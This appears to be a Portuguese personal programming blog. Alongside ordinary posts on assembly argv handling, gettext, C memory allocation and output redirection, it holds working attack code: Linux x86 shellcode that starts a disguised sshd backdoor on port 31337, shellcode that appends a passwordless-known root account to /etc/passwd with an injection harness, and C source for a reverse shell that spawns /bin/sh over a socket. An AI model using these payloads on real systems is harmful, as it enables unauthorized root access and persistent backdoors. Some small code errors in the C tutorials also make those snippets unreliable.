quinta-feira, 27 de agosto de 2015

Passagem de Parâmetros via linha de comando (asm x86_64).

Usar os parâmetros passados via linha de comando em asm x86_64 é bem simples, quando você inicia o programa os primeiros 8 bytes no rsp contem o numero de argumentos passados via linha de comando, que sempre irá ser no minimo 1, os qword's (Quad Word = 8 Bytes) seguintes são os endereços de memoria onde os argumentos estão armazenados.

O primeiro endereço contem o nome do programa, o restante são os parâmetros passados via linha de comando, depois temos 8 bytes nulos e ai vem variáveis de ambientes e outras coisas.

vamos testar isso usando esse código:

section .text
 global _start
_start:
  nop

esse programa não vai fazer nada, vamos executa-lo usando o gdb, criar um breakpoint ( por isso esse nop), e olhar os valores armazenados no rsp, tudo isso para ver se realmente o que foi escrito acima é verdade.

[mmxm@hc0d3r tmp]$ nasm -f elf64 args_tut.asm 
[mmxm@hc0d3r tmp]$ ld -o args_tut args_tut.o
[mmxm@hc0d3r tmp]$ gdb ./args_tut
GNU gdb (GDB) Fedora 7.8.2-39.fc21
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./args_tut...(no debugging symbols found)...done.
(gdb) b _start
Breakpoint 1 at 0x400080
(gdb) r
Starting program: /tmp/args_tut 

Breakpoint 1, 0x0000000000400080 in _start ()
(gdb) x/3xg $rsp
0x7fffffffe020: 0x0000000000000001 0x00007fffffffe32e
0x7fffffffe030: 0x0000000000000000
(gdb) x/3xg $rsp

Como executamos o programa sem passar nenhum parametro, os primeiros 8 bytes armazenam o valor 1, agora vamos ver qual é o valor armazenado no endereço 0x00007fffffffe32e

(gdb) x/s 0x00007fffffffe32e
0x7fffffffe32e: "/tmp/args_tut"

como dito anteriormente, e agora comprovado, o valor do primeiro endereço é nome do executável, agora vamos executar o programa novamente, mas dessa vez passando alguns argumentos:

(gdb) r arg1 arg2 arg3
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/args_tut arg1 arg2 arg3

Breakpoint 1, 0x0000000000400080 in _start ()
(gdb) x/6xg $rsp
0x7fffffffdff0: 0x0000000000000004 0x00007fffffffe31f
0x7fffffffe000: 0x00007fffffffe32d 0x00007fffffffe332
0x7fffffffe010: 0x00007fffffffe337 0x0000000000000000

como podem observar, os primeiros 8 bytes tiveram seu valor alterado, agora totalizam o numero 4, porque 3 argumentos foram passados, e mais 3 endereços de memoria surgiram, vamos dar uma olhada nos valores armazenador nesses endereços:

(gdb) x/4s 0x00007fffffffe31f
0x7fffffffe31f: "/tmp/args_tut"
0x7fffffffe32d: "arg1"
0x7fffffffe332: "arg2"
0x7fffffffe337: "arg3"

Os argumentos passados estão la, cada argumento é separado por um byte nulo, agora que já sabemos isso vamos programar :D

Exemplo de como listar os parâmetros passados:

sys_write equ 1
sys_exit equ 60

stdout equ 1

section .data
  break_line db 10

section .text
  global _start
_start:
  pop r10 ; armazena o numero de argumentos


  print_args_loop:
    pop rsi ; armazena o endereço do proximo argumento

    xor rdx, rdx
    xor rax, rax

    len_loop:
      cmp [byte rsi+rdx], al ; checa se encontrou um byte nulo, se sim sai do len_loop
      je exit_x
      inc rdx
      jmp len_loop

    exit_x:

    mov rax, sys_write ; rsi ja esta com o endereço da string, e rdx contem o tamanho da string
    mov rdi, stdout    ; so executar a syscall que vai printar

    syscall

    mov rax, sys_write
    mov rdi, stdout
    mov rsi, break_line
    mov rdx, 1

    syscall

    dec r10
    cmp r10, 0
  jg print_args_loop

 mov rax, sys_exit
 xor rdi, rdi
 syscall

Testando o programa:

[mmxm@hc0d3r tmp]$ nasm -f elf64 print_args.asm
[mmxm@hc0d3r tmp]$ ld -o print_args print_args.o
[mmxm@hc0d3r tmp]$ ./print_args 
./print_args
[mmxm@hc0d3r tmp]$ ./print_args 5
./print_args
5
[mmxm@hc0d3r tmp]$ ./print_args 5 abc
./print_args
5
abc
[mmxm@hc0d3r tmp]$ ./print_args 5 abc 123
./print_args
5
abc
123
[mmxm@hc0d3r tmp]$ /tmp/print_args x-men vs liga-da-justiça
/tmp/print_args
x-men
vs
liga-da-justiça

e é isso !~/^.;

domingo, 19 de julho de 2015

Traduzindo programas usando gettext

Você provavelmente já deve ter percebido que alguns aplicativos de linha de comando, e também aplicativos de interface gráfica (hexchat, firefox), tem suporte para idiomas diferentes do inglês, vou mostrar como é fácil fazer um programa ,em C, com suporte a vários idiomas.

Iremos usar as seguintes libs e funções:
locale.h
setlocale

libintl.h
bindtextdomain, textdomain, gettext

setlocale


char * setlocale (int category, const char *locale);
O padrão ISO da linguagem C diz que todos os programas iniciam ,por padrão, na localidade 'C', para usar uma localidade definida por variável de ambiente (LANG, LANGUAGE), temos que usar a função setlocale da seguinte maneira:

setlocale(LC_ALL, "");

textdomain


char *textdomain (const char * domainname);

A função textdomain seta ou retorna o nome do arquivo .mo que sera procurado para traduzir as mensagens

para pegar o default é só setar o valor NULL, e ele ira retornar o padrão
  printf("%s\n", texdomain(NULL)); // 'messages'

para setar você coloca o nome da sua aplicação, aqui eu vou por como "tutorial"
  textdomain("tutorial");

bindtextdomain


char *bindtextdomain(const char * domainname, const char * dirname);

A função bindtextdomain define o diretório base onde serao procurados as mensagens traduzidas. suponhamos que o nosso idioma seja "pt_BR.UTF-8" ele procura da seguinte forma:
[dirname]/pt_BR.UTF-8/LC_MESSAGES/[domainname].mo
[dirname]/pt_BR.utf8/LC_MESSAGES/[domainname].mo
[dirname]/pt_BR/LC_MESSAGES/[domainname].mo
[dirname]/pt.UTF-8/LC_MESSAGES/[domainname].mo
[dirname]/pt.utf8/LC_MESSAGES/[domainname].mo
[dirname]/pt/LC_MESSAGES/[domainname].mo
É importante o domainname da função textdomain ser o mesmo passado pra bindtextdomain, caso contrario os arquivos .mo serão procurados em outro diretório (não no dirname).

bindtextdomain("tutorial", "traslate");

gettext


char * gettext (const char *msgid)

A função gettext vai procurar pela string passada nos arquivos .mo, se for encontrado ela retorna a mensagem traduzida, se não ela retorna a string que foi passada.

para ficar mais pratico e fácil de escrever o código definimos o seguinte macro:
#define _(str) gettext(str)

Feito tudo isso chegamos a nosso codigo final:

tutorial.c
#include <stdio.h>
#include <libintl.h>
#include <locale.h>

#define _(str) gettext(str)

int main(void){
 setlocale(LC_ALL, "");
 textdomain("tutorial");
 bindtextdomain("tutorial","translate");

 puts(_("Welcome"));

 return 0;
}

Criando os arquivos de tradução


Já temos nosso programa pronto, agora temos que criar as traduções.
Criando a arvore de diretórios onde o programa vai procurar por traduções:
mkdir -p translate/pt_BR.UTF-8/LC_MESSAGES

Usamos o xgettext para extrair as strings traduzíveis do programa:
xgettext -d tutorial -o tutorial.pot -k_ -s tutorial.c
msginit --no-translator --locale pt_BR --output-file tutorial.po --input tutorial.pot

Um arquivo ,fácil de configurar, vai ser criado:
# Portuguese translations for PACKAGE package
# Traduções em português brasileiro para o pacote PACKAGE.
# Copyright (C) 2015 THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# Automatically generated, 2015.
#
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2015-07-19 13:57-0300\n"
"PO-Revision-Date: 2015-07-19 13:57-0300\n"
"Last-Translator: Automatically generated\n"
"Language-Team: none\n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=ISO-8859-1\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"

#: tutorial.c:12
msgid "Welcome"
msgstr ""
Alteramos o arquivo, incluindo a tradução:
# Portuguese translations for PACKAGE package
# Traduções em português brasileiro para o pacote PACKAGE.
# Copyright (C) 2015 THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# Automatically generated, 2015.
#
msgid ""
msgstr ""
"Project-Id-Version: 1.0.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2015-07-19 13:57-0300\n"
"PO-Revision-Date: 2015-07-19 13:57-0300\n"
"Last-Translator: Automatically generated\n"
"Language-Team: none\n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=ISO-8859-1\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"

#: tutorial.c:12
msgid "Welcome"
msgstr "Bem Vindo"
Criamos agora o arquivo .mo:
msgfmt tutorial.po -o tutorial.mo

lembre-se o arquivo final deve ser a string que você passou na função textdomain
movemos ele para a arvore de diretorios que criamos anteriormente:
mv tutorial.mo translate/pt_BR.UTF-8/LC_MESSAGES/

Agora é só testar e ver a magica acontecendo:
$ gcc tutorial.c -o tutorial -Wall -Wextra
$ LANG=en_US.UTF-8 ./tutorial
Welcome
$ LANG=pt_BR.UTF-8 ./tutorial
Bem vindo

Referências


[1] How to do I18N through gettext (Acessado em Julho/2015)
https://fedoraproject.org/wiki/How_to_do_I18N_through_gettext
[2] The GNU C Library: Setting the Locale (Acessado em Julho/2015)
http://www.gnu.org/software/libc/manual/html_node/Setting-the-Locale.html
[3] The GNU C Library: Standard Locales (Acessado em Julho/2015)
http://www.gnu.org/software/libc/manual/html_node/Standard-Locales.html
[4] textdomain(3) - Linux man page (Acessado em Julho/2015)
http://linux.die.net/man/3/textdomain
[5] bindtextdomain(3) - Linux man page (Acessado em Julho/2015)
http://linux.die.net/man/3/bindtextdomain
[6] Max's Blog: A Tutorial on GNU gettext (Acessado em Julho/2015)
http://maxillusion.blogspot.com.br/2007/12/tutorial-on-gnu-gettext.html

segunda-feira, 6 de abril de 2015

Simple sshd backdoor shellcode (Linux - X86)

Mais um shellcode, level noob, que eu fiz, codigo asm:
section .text
 global _start:

_start:
	; by mmxm (@hc0d3r)
	; symlink("/usr/sbin/sshd", "/tmp/.su")

	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx

	mov bx, 0x6468

	push ebx
	push 0x73732f6e
	push 0x6962732f
	push 0x7273752f

	mov ebx, esp

	mov al, 83

	push ecx
	push 0x75732e2f
	push 0x706d742f

	mov ecx, esp

	int 0x80

	; execve("/tmp/.su", ["/tmp/.su","-oPort=31337"], [ NULL ])

	xor eax, eax
	xor ebx, ebx
	xor edx, edx

	mov ebx, ecx

	push eax
	push 0x37333331
	push 0x333d7472
	push 0x6f506f2d

	mov ecx, esp

	push eax
	push ecx
	push ebx

	mov ecx, esp

	mov al, 11

	int 0x80


Shellcode:
#include <stdio.h>
#include <string.h>

// shellcode by mmxm (@hc0d3r)

unsigned const char shellcode[]=
	"\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x68\x64"
	"\x53\x68\x6e\x2f\x73\x73\x68\x2f\x73\x62"
	"\x69\x68\x2f\x75\x73\x72\x89\xe3\xb0\x53"
	"\x51\x68\x2f\x2e\x73\x75\x68\x2f\x74\x6d"
	"\x70\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x31"
	"\xd2\x89\xcb\x50\x68\x31\x33\x33\x37\x68"
	"\x72\x74\x3d\x33\x68\x2d\x6f\x50\x6f\x89"
	"\xe1\x50\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void){
	printf("Shellcode size: %d bytes\n", sizeof(shellcode)-1);
	asm("jmp shellcode");
	return 0;
}

Testado em CentOS 6.6
[mmxm@hc0d3r ASM]$ strace -e execve,symlink ./a.out
execve("./a.out", ["./a.out"], [/* 42 vars */]) = 0
Shellcode size: 80 bytes
symlink("/usr/sbin/sshd", "/tmp/.su")   = 0
execve("/tmp/.su", ["/tmp/.su", "-oPort=31337"], [/* 0 vars */]) = 0

Referencia: http://pastebin.com/LnSRJed1

sexta-feira, 13 de março de 2015

Shellcode Add User Root (Linux - X86)

Para criarmos um shellcode que adiciona um usuario root no sistema, iremos ter que editar o arquivo /etc/passwd, e colocar o nosso usuario, as system calls que deveremos usar são essas:
  • open
  • write
  • close
  • exit

Primeiro começamos criando o codigo em asm, para depois usando o objdump pegar o shellcode.
A primeira coisa a ser feita é abrir o arquivo, em modo escrita, precisaríamos então de:
open("/etc/passwd", O_WRONLY|O_APPEND);
Para descobrir o valor dos macros O_WRONLY e O_APPEND, você pode usar C, incluir a lib fcntl.h e dar printf neles, ou procurar usando o find:
[root@hc0d3r ~]$ find /usr/include/ -type f -name 'fcntl.h' -exec grep --color -HP 'define\s+(O_WRONLY|O_APPEND)' {} \;
/usr/include/i386-linux-gnu/bits/fcntl.h:#define O_WRONLY	     01
/usr/include/i386-linux-gnu/bits/fcntl.h:#define O_APPEND	  02000
/usr/include/asm-generic/fcntl.h:#define O_WRONLY	00000001
/usr/include/asm-generic/fcntl.h:#define O_APPEND	00002000

Note que existe um zero na frente, isso é notação octal, para descobrir o valor da operação OR e dos macros em decimal você pode usar o python console:
>>> 01
1
>>> 02000
1024
>>> 01|02000
1025

1025 é o numero que vai ser destinado para cx, let's go:
section .text
	global _start

_start:
	xor eax,eax ;
	xor ebx,ebx ; zerando o registradores
	xor ecx,ecx ;

	push eax ; \0 no esp
	push 0x64777373 ; dwss
	push 0x61702f2f ; ap// ; /etc//passwd
	push 0x6374652f ; cte/
	mov ebx, esp; coloca o valor do esp em ebx

	mov cx,1025 ; O_WRONLY|O_APPEND ; cx no lugar de ecx, para evitar null-byte

	push 5 ; sys_open
	pop eax
	int 0x80

	; EXIT sempre deixe o exit no final de cada codigo mostrado nesse tutorial

	xor eax, eax ; exit, para nao ter erro de segmentation fault
	xor ebx, ebx ;
	inc eax ;
	int 0x80 ;

Testando:
[root@hc0d3r asm]$ nasm -f elf shell.asm
[root@hc0d3r asm]$ ld -s -o shell shell.o
[root@hc0d3r asm]$ strace ./shell
execve("./shell", ["./shell"], [/* 31 vars */]) = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
_exit(0)                                = ?

Caso ocorra algum erro no open é porque você não executou como root, ou o arquivo não tem permissão de escrita, vou ensinar a criar shellcode para alterar permissão de arquivos em outro tutorial (normalmente as permissões de /etc/passwd são 644).
Agora a segunda etapa é escrever o usuário no arquivo, a sintaxe do arquivo /etc/passwd é a seguinte:
usuario:hash:uid:gid:comentarios:diretorio home:shell

Normalmente no lugar do hash no /etc/passwd existe um x, isso significa que o hash esta em outro arquivo (/etc/shadow).
Para gerar a senha usaremos o openssl, se quiser saber mais sobre os tipos de hash, basta digitar:
man crypt
[root@hc0d3r asm]$ openssl passwd -1 pwned
$1$mmljn8Xv$oRB/DywdQI5BCquthjWh4.
hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BCquthjWh4.:0:0::/root:/bin/bash
A string tem 62 bytes, precisamos deixar ela multipla de 4, para isso basta adicionar 1 caractere na parte reservada para comentarios e uma quebra de linha no final:
hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BCquthjWh4.:0:0:.:/root:/bin/bash\n

Código em ASM:
	xor ebx, ebx
	xor ecx, ecx

	push ebx ; \0
	push 0x0a687361 ;\nhsa
	push 0x622f6e69 ;b/ni
	push 0x622f3a74 ;b/:t
	push 0x6f6f722f ;oor/
	push 0x3a2e3a30 ;:.:0
	push 0x3a303a2e ;:0:.
	push 0x3468576a ;4hWj
	push 0x68747571 ;htuq
	push 0x43423549 ;CB5I
	push 0x51647779 ;Qdwy
	push 0x442f4252 ;D/BR
	push 0x6f247658 ;o$vX
	push 0x386e6a6c ;8njl
	push 0x6d6d2431 ;mm$1
	push 0x243a7233 ;$:r3
	push 0x64306368 ;d0ch
	mov ecx, esp

	push eax ; o valor de retorno de sys_open, vai pra eax, usamos esse valor em ebx
	pop ebx

	push 64; tamanho da string
	pop edx

	push 4
	pop eax

	int 0x80

Testando:
[root@hc0d3r asm]$ nasm -f elf shell.asm
[root@hc0d3r asm]$ ld -s -o shell shell.o
[root@hc0d3r asm]$ strace ./shell
execve("./shell", ["./shell"], [/* 31 vars */]) = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BC"..., 64) = 64
_exit(0)                                = ?
[root@hc0d3r asm]$ cat /etc/passwd | grep hc0d3r
hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BCquthjWh4.:0:0:.:/root:/bin/bash

O usuário já foi criado, agora é só dar close no fd, e gerar o shellcode usando o objdump:
        xor eax, eax ; como ebx ja esta com o valor do fd, so precisamos setar o valor de eax
        push 6 ; sys_close
        pop eax
        int 0x80

Executando:
[root@hc0d3r asm]$ nasm -f elf shell.asm
[root@hc0d3r asm]$ ld -s -o shell shell.o
[root@hc0d3r asm]$ strace ./shell
execve("./shell", ["./shell"], [/* 31 vars */]) = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BC"..., 64) = 64
close(3)                                = 0
_exit(0)                                = ?

Tudo OK, agora vamos gerar o shellcode !!
[root@hc0d3r asm]$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x50\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\x6a\x05\x58\xcd\x80\x31\xdb\x31\xc9\x53\x68\x61\x73\x68\x0a\x68\x69\x6e\x2f\x62\x68\x74\x3a\x2f\x62\x68\x2f\x72\x6f\x6f\x68\x30\x3a\x2e\x3a\x68\x2e\x3a\x30\x3a\x68\x6a\x57\x68\x34\x68\x71\x75\x74\x68\x68\x49\x35\x42\x43\x68\x79\x77\x64\x51\x68\x52\x42\x2f\x44\x68\x58\x76\x24\x6f\x68\x6c\x6a\x6e\x38\x68\x31\x24\x6d\x6d\x68\x33\x72\x3a\x24\x68\x68\x63\x30\x64\x89\xe1\x6a\x40\x5a\x50\x5b\x6a\x04\x58\xcd\x80\x31\xc0\x6a\x06\x58\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80"

Em C:
#include <stdio.h>
#include <string.h>

unsigned const char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x50\x68\x73\x73\x77\x64"
"\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3"
"\x66\xb9\x01\x04\x6a\x05\x58\xcd\x80\x31\xdb\x31"
"\xc9\x53\x68\x61\x73\x68\x0a\x68\x69\x6e\x2f\x62"
"\x68\x74\x3a\x2f\x62\x68\x2f\x72\x6f\x6f\x68\x30"
"\x3a\x2e\x3a\x68\x2e\x3a\x30\x3a\x68\x6a\x57\x68"
"\x34\x68\x71\x75\x74\x68\x68\x49\x35\x42\x43\x68"
"\x79\x77\x64\x51\x68\x52\x42\x2f\x44\x68\x58\x76"
"\x24\x6f\x68\x6c\x6a\x6e\x38\x68\x31\x24\x6d\x6d"
"\x68\x33\x72\x3a\x24\x68\x68\x63\x30\x64\x89\xe1"
"\x6a\x40\x5a\x50\x5b\x6a\x04\x58\xcd\x80\x31\xc0"
"\x6a\x06\x58\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80";

int main(void){
	printf("shellcode len: %d bytes\n",sizeof(shellcode)-1);
	//(*(void(*)())shellcode)(); // injetar !!!
	return 0;
}

Testando:
[root@hc0d3r asm]$ ./shellcode
shellcode len: 144 bytes

Injectando:
[root@hc0d3r asm]$ strace ./shellcode-inject
execve("./shellcode-inject", ["./shellcode-inject"], [/* 31 vars */]) = 0
[...]
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "hc0d3r:$1$mmljn8Xv$oRB/DywdQI5BC"..., 64) = 64
close(3)                                = 0
_exit(0)                                = ?

Depois é só logar via ssh ou su, com a senha pwned.

sexta-feira, 6 de março de 2015

Alocação Dinâmica em C

Hoje vou escrever um pouco sobre alocação dinâmica em C, a maioria das vezes não é possivel determinar o tamanho de memoria que precisa ser alocado para armarzenar um determinado valor, é ai que entra a alocação dinâmica.

Malloc


void *malloc(size_t size);
Você informa a quantidade de bytes, malloc aloca esses bytes, e retorna um ponteiro genérico (void *), esse ponteiro genérico pode ser convertido para qualquer outro tipo de dado, char, int, pid_t, etc, caso ocorra erro na alocação dessa memoria, a função retorna NULL.

Sempre é necessário verificar se o valor retornado pelo malloc, ou outras funções de alocação dinâmica que serão mostradas aqui, é NULL, para evitar que o programa acesse um endereço na memoria que não existe, resultando em segmentation fault !!!
Alocação estática:
	char ptr[10];
Alocação dinâmica usando malloc:
	char *ptr = malloc( 10 * sizeof(char) );
Quando for alocar ponteiros do tipo char *, se quiser armazenar, por exemplo:
live long and prosper
Que contem 21 bytes, aloque um byte a mais, pra no final da ultima posição você colocar o byte 0, isso porque funções como strlen, strcat, strncat, printf, fprintf, etc, so deixam de percorrer o ponteiro quando o byte 0 é encontrado, se não tiver esse byte 0 ele vai percorrer espaço na memoria não alocado, ou valores não inicializados.
	char *llap = malloc( 22 * sizeof(char) );
	strcpy(llap, "live long and prosper");
strcpy coloca 0 no final do ponteiro, depois de copiar a string.

Free


void free(void *ptr);

Depois de alocar um ponteiro dinamicamente, antes de encerrar o programa você tem que liberar esse espaço alocado, para evitar memory leaks:
	char *llap = malloc( 22 * sizeof(char) );
	/* xxxxx */
	free(llap);

Calloc


void *calloc (size_t nmemb, size_t size);

Faz a mesma coisa que malloc, a diferença é que ele inicializa todos as posições alocadas do ponteiro com zero:
	char *llap = calloc(10, sizeof(char));

Realloc


void *realloc(void *ptr, size_t size);

Aloca mais espaço para um ponteiro. exemplo:
	int i=0;

	char *x = malloc( 10 * sizeof(char) );

	for(i=0; i<9; i++)
		x[i] = 'A';
	x[i] = 0x0;

	printf("x = '%s'\n",x);

	x = realloc(x, 20);

	for(;i<19; i++)
		x[i] = 'z';
	x[i] = 0x0;
	printf("x = '%s'\n",x);

	free(x);
[mmxm@hc0d3r ~]$ ./realloc_exemplo
x = 'AAAAAAAAA'
x= 'AAAAAAAAAzzzzzzzzzz'

Strdup


char *strdup(const char *s);
Copia uma string, e retorna um ponteiro char, que foi alocado usando malloc.
	char *lol = strdup("kamehameha");
	printf("%s\n",lol);
	free(lol);

Exemplos


Alocando um ponteiro de duas dimensões:
	int i,j;

	//primeiro devemos alocar o numero de elementos:
	// equivalente: char x[13][37]

	char **x = malloc( 13 * sizeof(char *) );

	//Agora alocamos memoria para os elementos: 

	for(i=0; i<13; i++)
		x[i] = malloc( 37 * sizeof(char) );

	// escrevendo nesses elementos:
	for(i=0; i<13; i++){
		for(j=0; j<36; j++){
			x[i][j] = 'A';
		}
		x[i][j] = 0x0;
	}

	for(i=0; i<13; i++)
		printf("x[%d] = '%s'\n",i, x[i]);

	// Para liberar a memoria primeiro devemos liberar os elementos do ponteiro:

	for(i=0; i<13; i++)
		free(x[i]);

	// e por ultimo o ponteiro:

	free(x);

Alocando uma estrutura:
	struct users {
		char *nome;
		int id;
	};


	//alocando espaço - equivalente: struct users userlist[10];
	struct users *userlist = malloc( 10 * sizeof( struct users) );


	// escrevendo
	for(i=0; i<10; i++){
		userlist[i].nome = strdup("gohan");
		userlist[i].id = i;
	}

	// print

	for(i=0; i<10; i++){
		printf("nome: %s\n", userlist[i].nome);
		printf("id: %d\n\n", userlist[i].id);
	}

	// liberando espaço

	for(i=0; i<10; i++)
		free(userlist[i].nome);

	free(userlist);

Funções


Ficar sempre tendo que verificar se o retorno de malloc, realloc, calloc, strdup, etc, é NULL, dependendo do tamanho do código fica cansativo, para facilitar isso você pode usar essas funções que verificam se o retorno é NULL, e caso seja abortam o programa.
void die(const char *err){
	perror(die);
	abort();
}

void *xmalloc(size_t len){
	void *ptr = malloc(len);

	if(ptr == NULL)
		die("malloc()");
 

	return ptr;
}

void *xrealloc(void *ptr, size_t len){
	void *tmp = realloc(ptr, len);

	if(tmp == NULL)
		die("realloc()");

	return tmp;
}

void *calloc(size_t n, size_t len){
	void *ptr = calloc(n, len);

	if(ptr == NULL)
		die("calloc()");

	return ptr;
}

char *xstrdup(const char *str){
	return strcpy( xmalloc( (strlen(str)+1) * sizeof(char) ), str);
}

Wild pointers


para evitar wild pointers (aka dangling pointer), depois de dar free eu um ponteiro, você precisa setar o valor do ponteiro para NULL:
char *x = malloc( sizeof(char) );
free(x);

/* x agora é um wild pointer */

x = NULL;

/* agora não é mais =D */
função
void xfree(void **ptr){
	if(ptr != NULL){ /* checa se ptr não é NULL, para evitar erro */
		free(*ptr);
		*ptr = NULL;
	}
}
modo de uso:
	xfree((void **)&ptr);

Valgrind


Por ultimo, mas não menos importante, para achar bugs no seu programa, como memory leaks, wild pointers, e outras coisas, use o valgrind, tool fodastica: http://valgrind.org/

terça-feira, 27 de janeiro de 2015

Redirecionar saída do terminal para arquivo usando C

Oi, hoje vou postar uma dica bem simples aqui, e que talvez seja útil para alguém , redirecionar stdout para um arquivo usando C.

vou mostrar duas formas de fazer isso, a primeira eu aprendi nesse link: www.vivaolinux.com.br

No linux, sempre que executamos algo existem 3 fds que já estão abertos, são eles:

0 - stdin - entrada do teclado
1 - stdout - saida padrao do terminal
2 - stderr - saida de erro

quando usamos, por exemplo:
printf("blahblahbla");
É a mesma coisa de usar a system call write, e passar como primeiro parâmetro o numero 1 (stdout), você pode comprovar isso usando o strace.
[mmxm@hc0d3r tmp]$ cat tutorial1.c
#include <stdio.h>
 
int main(void){
    printf("Chuck norris\n");
    return 0;
}

[mmxm@hc0d3r tmp]$ gcc tutorial1.c -o tutorial1
[mmxm@hc0d3r tmp]$ strace -e write ./tutorial1
write(1, "Chuck norris\n", 13Chuck norris
)          = 13

Viram ?

Continuando ... , ai vai um exemplo igual o do link do vivaolinux, mas no lugar de printf vou usar a função system que manda o resultado do comando para stdout, ou stderr, para enviar tudo para o stdout vou usar 2>&1, pra redirecionar qualquer saida de erro para o stdout
#include <stdlib.h> // int system(const char *command);
#include <fcntl.h> // int open(char *filename, int access, int permission);
#include <unistd.h> // int  close(int handle);
 
int main(void){
 
	close(1);
 
	open("teste.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666);
	system("echo system | figlet 2>&1");
 
	return 0;
}

a função open, usada no exemplo, equivale à:
fopen("teste.txt","w");

Testando:
[mmxm@hc0d3r tmp]$ gcc tutorial2.c -o tutorial2
[mmxm@hc0d3r tmp]$ ./tutorial2
[mmxm@hc0d3r tmp]$ cat teste.txt
               _                 
 ___ _   _ ___| |_ ___ _ __ ___  
/ __| | | / __| __/ _ \ '_ ` _ \ 
\__ \ |_| \__ \ ||  __/ | | | | |
|___/\__, |___/\__\___|_| |_| |_|
     |___/                       

Caso você não tenha o figlet instalado o conteudo do arquivo teste.txt vai ser algo como:
sh: figlet: comando não encontrado

por isso redirecionei o stderr pro stdout, caso alguém não tenha o figlet o output ainda vai ir pro arquivo teste.txt.

O segundo método é usando a função dup2.
#include <stdlib.h> // int system(const char *command);
#include <fcntl.h> // int open(char *filename, int access, int permission);
#include <unistd.h> // int  close(int handle);
 
int main(void){
 
	close(1);
 
	open("teste.txt", O_WRONLY|O_CREAT|O_TRUNC, 0665+1);
	system("echo system | figlet 2>&1");
 
	return 0;
}

Executando:
[mmxm@hc0d3r tmp]$ gcc tutorial3.c -o tutorial3
[mmxm@hc0d3r tmp]$ ./tutorial3
[mmxm@hc0d3r tmp]$ cat teste.txt
Uhhhh baby babyy, whatever you do now... dont ever go away

Bem, é isso ai, até mais.

Referencias:

[1] Em C, escrever em arquivo fácil [Dica] (Acessado em Janeiro/2015)
http://www.vivaolinux.com.br/dica/Em-C-escrever-em-arquivo-facil
[2] File descriptor (Acessado em Janeiro/2015)
http://en.wikipedia.org/wiki/File_descriptor
[3] Files: open(), read(), write(), close() (Acessado em Janeiro/2015)
http://gd.tuwien.ac.at/languages/c/programming-bbrown/c_075.htm
[4] dup (Acessado em Janeiro/2015)
http://pubs.opengroup.org/onlinepubs/009695399/functions/dup.html
[5] open(3): open file - Linux man page (Acessado em Janeiro/2015)
http://linux.die.net/man/3/open
[6] dup2(3): duplicate open file descriptor - Linux man page (Acessado em Janeiro/2015)
http://linux.die.net/man/3/dup2

quarta-feira, 5 de novembro de 2014

Reverse Backdoor em ASM ( Linux - x86 )

Eaw, nesse breve texto eu vou falar um pouco sobre como fazer um backdoor em assembly, usando system calls, let's go.

Para criar o backdoor utilizaremos as seguintes system calls:
sys_socketcall // inicializar o socket e fazer a conexão reversa (man socketcall)
sys_dup2 // duplica o fd de um arquivo (man dup2)
sys_execve // executa algum programa (man execve)
A ideia de fazer esse shellcode, me veio depois de ver a source de um backdoor reverse, em C :
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>

int main(void){
	int sock;
	struct sockaddr_in con;

	sock = socket(AF_INET,SOCK_STREAM,0);


	con.sin_family = AF_INET;
	con.sin_port = htons(31337);
	con.sin_addr.s_addr = inet_addr("127.0.0.1");

	connect(sock,(struct sockaddr * )&con, sizeof(con));

	dup2(sock,0); dup2(sock,1); dup2(sock,2);
	execve("/bin/sh",0,0);

	return 0;
}
Explicando o código:
Se conecta em 127.0.0.1, na porta 31337, feito isso ele copia o fd
do stdin (0), stdout (1), stderr (2), para sock, que é o fd da conexão, depois executa
a shell (/bin/sh)

